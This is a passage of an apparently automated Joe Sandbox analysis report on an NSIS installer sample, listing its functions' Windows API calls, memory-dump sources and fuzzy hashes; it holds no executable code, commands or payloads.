Instruction Fuzzy Hash: 07F0E2327082047BDB108F55EC44B9B7B9CDF91750F10C037FE049A180D2B198448F59

Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE

GlobalFree.KERNEL32(00000000), ref: 10001768
FreeLibrary.KERNEL32(?), ref: 100017DF
GlobalFree.KERNEL32(00000000), ref: 10001804

Part of subcall function 100021B0: GlobalAlloc.KERNEL32(00000040,7D8BEC45), ref: 100021E2

Part of subcall function 10002589: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025FB

Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,?,00000000,10001695,00000000), ref: 10001572

Strings

, xrefs: 100017E5

Memory Dump Source

Source File: 00000000.00000002.13435297109.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.13435257498.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.13435328393.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.13435360317.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_nRNzqQOQwk.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
Instruction ID: 7bd52774c71d274dd6e07030a7ef65efb9a892d3f5f2eddd47f658e3267813e4
Opcode Fuzzy Hash: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
Instruction Fuzzy Hash: B5319C79408205DAFB41DF649CC5BCA37ECFF042D5F018465FA0A9A09EDF78A8858B60

Function 00405900 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405DA0: lstrcpynA.KERNEL32(?,?,00000400,0040322E,Pongids Setup,NSIS Error), ref: 00405DAD

Part of subcall function 004058AB: CharNextA.USER32(?,?,C:\,?,00405917,C:\,C:\,765F3410,?,C:\Users\user\AppData\Local\Temp\,00405662,?,765F3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058B9
Part of subcall function 004058AB: CharNextA.USER32(00000000), ref: 004058BE
Part of subcall function 004058AB: CharNextA.USER32(00000000), ref: 004058D2

lstrlenA.KERNEL32(C:\,00000000,C:\,C:\,765F3410,?,C:\Users\user\AppData\Local\Temp\,00405662,?,765F3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405953
GetFileAttributesA.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,765F3410,?,C:\Users\user\AppData\Local\Temp\,00405662,?,765F3410,C:\Users\user\AppData\Local\Temp\), ref: 00405963

Strings

C:\, xrefs: 00405906, 0040590B, 00405911, 0040594C, 00405952, 0040595A, 00405962
C:\Users\user\AppData\Local\Temp\, xrefs: 00405900

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\$C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-2214159804
Opcode ID: 2b232cbcfe35a2a259e0e65083c3ab1013c8774cdbeba63489dc7f6696da3121
Instruction ID: 7328fd33adb38864c40c3ad9044401c3b5e3aae7bd0e1b9e961d96be1e2df883
Opcode Fuzzy Hash: 2b232cbcfe35a2a259e0e65083c3ab1013c8774cdbeba63489dc7f6696da3121
Instruction Fuzzy Hash: D5F0A466115D6096D722333A1C05B9F1A48CEC2374759453BF891F12D2DB3C8953DD7E

Function 00401FFF Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 0040202A

Part of subcall function 00404FB9: lstrlenA.KERNEL32(0079DD20,00000000,0078FCF8,765F23A0,?,?,?,?,?,?,?,?,?,0040306B,00000000,?), ref: 00404FF2
Part of subcall function 00404FB9: lstrlenA.KERNEL32(0040306B,0079DD20,00000000,0078FCF8,765F23A0,?,?,?,?,?,?,?,?,?,0040306B,00000000), ref: 00405002
Part of subcall function 00404FB9: lstrcatA.KERNEL32(0079DD20,0040306B,0040306B,0079DD20,00000000,0078FCF8,765F23A0), ref: 00405015
Part of subcall function 00404FB9: SetWindowTextA.USER32(0079DD20,0079DD20), ref: 00405027
Part of subcall function 00404FB9: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040504D
Part of subcall function 00404FB9: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405067
Part of subcall function 00404FB9: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405075

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 0040203A
GetProcAddress.KERNEL32(00000000,?), ref: 0040204A
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 004020B4

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: dcd88b9650ca2fc532c8c5fc9ad8650594621bf6dfbf7b98fc17d5296bd1316f
Instruction ID: 6acd92e4f6ebcd949653744c87f359efbc1ef98484dd96508818b65b31ed9250
Opcode Fuzzy Hash: dcd88b9650ca2fc532c8c5fc9ad8650594621bf6dfbf7b98fc17d5296bd1316f
Instruction Fuzzy Hash: 5921F671E00225EBDF307FA48F48AAE7A706B45354F20023BF701B22D1C6BE4A42D65E

Function 004015BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 004058AB: CharNextA.USER32(?,?,C:\,?,00405917,C:\,C:\,765F3410,?,C:\Users\user\AppData\Local\Temp\,00405662,?,765F3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058B9
Part of subcall function 004058AB: CharNextA.USER32(00000000), ref: 004058BE
Part of subcall function 004058AB: CharNextA.USER32(00000000), ref: 004058D2

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 0040160D

Part of subcall function 0040547F: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004054C2

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\slavelivets,00000000,00000000,000000F0), ref: 0040163C

Strings

C:\Users\user\slavelivets, xrefs: 00401631

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\slavelivets
API String ID: 1892508949-1403250623
Opcode ID: 180f8dbed9302a858d7acc3d4175b887fc009ffc70d4c8ebc0bf4da9f8c84f7e
Instruction ID: f4e9a0c94948f709858838e9eb50a0f2792b4ff72a3a1ac07d5dbe4c8cdc963c
Opcode Fuzzy Hash: 180f8dbed9302a858d7acc3d4175b887fc009ffc70d4c8ebc0bf4da9f8c84f7e
Instruction Fuzzy Hash: D3112731508052EBDB217BB54D409BF26B09E92324B28457FF8D2B22E2D63D4D43A63F

Function 00405C87 Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,00405ECC,00000000,00000002,?,00000002,0008C66D,?,00405ECC,80000002,Software\Microsoft\Windows\CurrentVersion,0008C66D,Call,0082E5E5), ref: 00405CB0
RegQueryValueExA.KERNELBASE(0008C66D,?,00000000,00405ECC,0008C66D,00405ECC), ref: 00405CD1
RegCloseKey.KERNELBASE(?), ref: 00405CF2

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
Instruction ID: a78e2699c87532439836dc2b9ae7a1408ac691edae8af3cd19914ba1cc6957ae
Opcode Fuzzy Hash: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
Instruction Fuzzy Hash: 9C015A7254420AEFEB128F65EC45EEB3FACEF14354F004436F905A6220D235D964DBA5

Function 100027E8 Relevance: 3.2, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(00000000), ref: 100028A7
GetLastError.KERNEL32 ref: 100029AE

Memory Dump Source

Source File: 00000000.00000002.13435297109.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.13435257498.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.13435328393.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.13435360317.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_nRNzqQOQwk.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
Instruction ID: 700bf99a33fcd989ee77f819fa46e2371db99389a88ce2eb288524e3b596c0af
Opcode Fuzzy Hash: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
Instruction Fuzzy Hash: 9751A2BA908214DFFB10DF64DCC674937A4EB443D4F21842AEA08E726DCF34A9808B95

Function 00402483 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,00000662,00000000,00000022,00000000,?,?,?,00402383,00000002), ref: 00402C00

RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 004024B3
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsj1A28.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040254F

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 8e26defd033098e931a340efcbebfcd7db4374a64648cb469e792002de33b0c4
Instruction ID: 0483b46094dd03155b9d0e3ed9d5b90596ace3d3fa60599072770b53af9213ab
Opcode Fuzzy Hash: 8e26defd033098e931a340efcbebfcd7db4374a64648cb469e792002de33b0c4
Instruction Fuzzy Hash: 8811E371A05205EFDB20CF60CA985AEBBB4AF00359F20443FE142B72C0D2B84A81DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b63ad44f694a207690e677ec35bda8f999f5426b301403e6904e10af90410016
Instruction ID: 00097469377630013da62b9f7c31fbdee85021c234e60ac5accdaffcc3ed26dc
Opcode Fuzzy Hash: b63ad44f694a207690e677ec35bda8f999f5426b301403e6904e10af90410016
Instruction Fuzzy Hash: BE01F4316242209BF7194B389C04B6A3698E751354F10813BF811F62F1D678DC028B4D

Function 00402377 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,00000662,00000000,00000022,00000000,?,?,?,00402383,00000002), ref: 00402C00

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033,00000002), ref: 00402396
RegCloseKey.ADVAPI32(00000000), ref: 0040239F

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: c3c705181fe5658603166456b70eb915c97a04fc9575d71e791babf096fcf5eb
Instruction ID: 60c1e4243d723511b4c64426b25872ec533dbc6a778a8c73d92c97a5d2103592
Opcode Fuzzy Hash: c3c705181fe5658603166456b70eb915c97a04fc9575d71e791babf096fcf5eb
Instruction Fuzzy Hash: 37F0A472A00111ABD710AFA09A8E9BE72A89B40344F24043BF201B71C0D5BD5D019769

Function 00401A1E Relevance: 3.0, APIs: 2, Instructions: 30stringCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNELBASE(00000000,?,00000400,00000001), ref: 00401A31
lstrcmpA.KERNEL32(?,?,?,00000400,00000001), ref: 00401A44

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: EnvironmentExpandStringslstrcmp
String ID:
API String ID: 1938659011-0
Opcode ID: e8d900abad3d3f7b08a48ee3306f5f417189d62f9577d7b4a96c9798fa742101
Instruction ID: 4f813d77772bd54bf890c65dc17d1f1cff84f8c3aa104cf5f65d7bfaad8725e5
Opcode Fuzzy Hash: e8d900abad3d3f7b08a48ee3306f5f417189d62f9577d7b4a96c9798fa742101
Instruction Fuzzy Hash: 3BF08231B05241EBCB20DF659D45A9A7FE8EFD1394B10843BE145F6190D2388541DA69

Function 00406139 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,004031EA,00000009), ref: 0040614B
GetProcAddress.KERNEL32(00000000,?), ref: 00406166

Part of subcall function 004060CB: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004060E2
Part of subcall function 004060CB: wsprintfA.USER32 ref: 0040611B
Part of subcall function 004060CB: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 0040612F

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: ad31075058678b318fb1acd60a85244af91915838e2bda58b2d8d9f4dd3fd24d
Instruction ID: 8cdf97aa15b56aed8909a69d1313546704d2aaf6dd9f7bed8459987902a8e277
Opcode Fuzzy Hash: ad31075058678b318fb1acd60a85244af91915838e2bda58b2d8d9f4dd3fd24d
